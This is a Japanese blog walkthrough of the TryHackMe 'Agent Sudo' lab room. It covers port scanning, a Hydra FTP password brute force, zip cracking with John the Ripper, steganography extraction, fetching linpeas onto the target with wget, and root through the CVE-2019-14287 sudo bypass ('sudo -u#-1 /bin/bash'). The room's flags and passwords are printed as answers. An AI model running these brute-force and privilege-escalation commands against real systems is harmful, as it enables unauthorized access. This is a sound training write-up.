0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Agent Sudo:Walkthrough

Posted at

概要

TryHackMe「Agent Sudo」のWalkthroughです。

Task2

Q1.How many open ports?

Hint.nmap

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.145.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 05:32 EDT
Warning: 10.10.145.26 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.145.26
Host is up (0.27s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
21/tcp    open     ftp            vsftpd 3.0.3
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
1055/tcp  filtered ansyslmd
1107/tcp  filtered isoipsigport-2
1145/tcp  filtered x9-icue
1812/tcp  filtered radius
2909/tcp  filtered funk-dialout
3007/tcp  filtered lotusmtap
3869/tcp  filtered ovsam-mgmt
4998/tcp  filtered maybe-veritas
5269/tcp  filtered xmpp-server
5922/tcp  filtered unknown
9290/tcp  filtered unknown
10617/tcp filtered unknown
27356/tcp filtered unknown
33899/tcp filtered unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.92 seconds

ftp:21,ssh:22,http:80番ポートがオープンになっていることが分かりました。

A.3

Q2.How you redirect yourself to a secret page?

Hint.Answer format: xxxx-xxxxx

ウェブページにアクセスします。
文面からUser-Agentヘッダーが関係していそうだと推測しました。

web.png

A.user-agent

Q3.What is the agent name?

Hint.You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C

ヒントを参考にUser-AgentCに変更してリクエストを送信すると、Locationレスポスヘッダーに興味深いパスを見つけました。

user agent c.png

当パスにアクセスするとユーザーエージェントの名前を特定できました。

web chris.png

A.chris

Task3

Q1.FTP password

Hint.Hail hydra!

Task2,Q3の文面からchrisのパスワードが脆弱だと分かりました。
HydraでFTPのパスワードを特定します。

$ hydra -f -l chris -P /usr/share/wordlists/rockyou.txt 10.10.145.26 ftp -t 30

パスワードを特定できました。

[21][ftp] host: 10.10.145.26   login: chris   password: crystal

A.crystal

Q2.Zip file password

Hint.Mr.John

特定したクレデンシャル情報でFTPにアクセスします。

$ ftp 10.10.145.26
Connected to 10.10.145.26.
220 (vsFTPd 3.0.3)
Name (10.10.145.26:kali): chris
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

カレントディレクトリには3つのファイルがあります。

ftp> ls
229 Entering Extended Passive Mode (|||14248|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.

とりあえずすべてダウンロードします。

ftp> mget *

テキストファイルにはchrisJあてに送ったメッセージが記載されています。
画像ファイルが怪しいみたいです。

To_agentJ.txt
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C

他にエイリアンの画像を二つダウンロードしました。

alian1.png

alian2.png

exiftoolで画像のメタデータを読み取るとcutie.png[minor] Trailer data after PNG IEND chunkの表示がありました。
PNGファイルの終了位置を表すIENDチャンクの後ろに別のデータがありそうです。

$ exiftool cutie.png 
ExifTool Version Number         : 12.70
File Name                       : cutie.png
Directory                       : .
File Size                       : 35 kB
File Modification Date/Time     : 2019:10:29 08:33:51-04:00
File Access Date/Time           : 2024:06:05 06:22:12-04:00
File Inode Change Date/Time     : 2024:06:05 06:22:12-04:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 528
Image Height                    : 528
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 762 bytes, use -b option to extract)
Transparency                    : (Binary data 42 bytes, use -b option to extract)
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 528x528
Megapixels                      : 0.279

hexeeditorで確認します。

$ hexeditor cutie.png

マジックナンバーがPKおよび、50 4B 03 04になっているので、ZIPファイルであると推測できます。
その中にはTo_agentR.txtというファイルがあります。

alian1 iend.png

50 4B 03 04からのバイナリを別ファイルで保存します。
この時、ファイル拡張子はzipにします。

ghexで編集を行います。

cutie zip.png

取り出したZIPファイルのパスワードを解読します。
まずはzip2johnでハッシュ値を取得します。

$ zip2john cutie.zip > cutie_zip_hash.txt
$ cat cutie_zip_hash.txt 
cutie.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:cutie.zip:cutie.zip

john the ripperでハッシュ値を解析します。

$ john cutie_zip_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            (cutie.zip/To_agentR.txt)     
1g 0:00:00:01 DONE 2/3 (2024-06-05 07:30) 0.9523g/s 56892p/s 56892c/s 56892C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

無事ZIPファイルのパスワードを特定することができました。

A.alien

Q3.steg password

zipファイルをunzipコマンドで解凍しようとしてもバージョン関係で出来なかったので7zipで対応しました。

$ 7z x cutie.zip 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
Everything is Ok

Size:       86
Compressed: 280

中のTo_agentR.txtを見てみます。

To_agentR.txt
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

QXJlYTUxという場所へ写真を送信する必要があるそうです。
この文字列が何を意味するのかcyberchefで調べます。

area51.png

Area51をBase64でエンコードしてあったみたいですね。

A.Area51

Q4.Who is the other agent (in full name)?

Password: Area51を使用して、steghidecute-alien.jpgに隠されたものを抽出します。

$ steghide extract -sf cute-alien.jpg
Enter passphrase: 
wrote extracted data to "message.txt".

message.txtを抽出できたので中身を見てみます。

$ cat message.txt  
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

エージェントJのフルネームはjamesだと分かりました。
そして

A.james

Q5.SSH password

message.txtからjamesのパスワードがhackerrules!だと分かりました。

A.hackerrules!

Task4

Q1.What is the user flag?

user_flag.txtを表示してフラグゲットです。

$ ls -l
total 48
-rw-r--r-- 1 james james 42189 Jun 19  2019 Alien_autospy.jpg
-rw-r--r-- 1 james james    33 Oct 29  2019 user_flag.txt
james@agent-sudo:~$ cat user_flag.txt 
b03d975e8c92a7c04146cfa7a5a313c7

A.b03d975e8c92a7c04146cfa7a5a313c7

Q2.What is the incident of the photo called?

Hint.Reverse image and Foxnews.

scpコマンドで画像ファイルをダウンロードします。

$ scp james@10.10.145.26:/home/james/Alien_autospy.jpg ./
james@10.10.145.26's password: 
Alien_autospy.jpg                                                                  100%   41KB  41.2KB/s   00:01

エイリアンらしき画像ファイルを得られました。

Alien_autospy.jpg

Googleで画像検索をするとロズウェル事件の画像だと分かりました。

ヒントにあるFoxnewsで記事が見つかりました。

A.Roswell alien autopsy

Task5

Q1.CVE number for the escalation(Format: CVE-xxxx-xxxx)

kali側でHTTPサーバーを起動し、linpeas.shをターゲットサーバーへインストールします。

$ cd /usr/share/peass/linpeas
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
james@agent-sudo:~$ wget http://10.6.55.144/linpeas.sh
--2024-06-05 13:25:50--  http://10.6.55.144/linpeas.sh
Connecting to 10.6.55.144:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                    100%[==============================================>] 842.56K   440KB/s    in 1.9s    

2024-06-05 13:25:53 (440 KB/s) - ‘linpeas.sh’ saved [862779/862779]

ターゲットサーバーでlinpeas.shを実行します。

$ sh linpeas.sh

sudoのバージョンがわかりました。

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                      
Sudo version 1.8.21p2

Exploit DBでCVE情報がヒットしました。

A.CVE-2019-14287

Q2.What is the root flag?

エクスプロイトコマンドを実行してroot権限を取得出来ました。

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root

/root/root.txtにフラグがあります。

/root/root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
b53a02f55b57d4439e3341834d70c062

By,
DesKel a.k.a Agent R

A.b53a02f55b57d4439e3341834d70c062

Q3.(Bonus) Who is Agent R?

A.DesKel

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?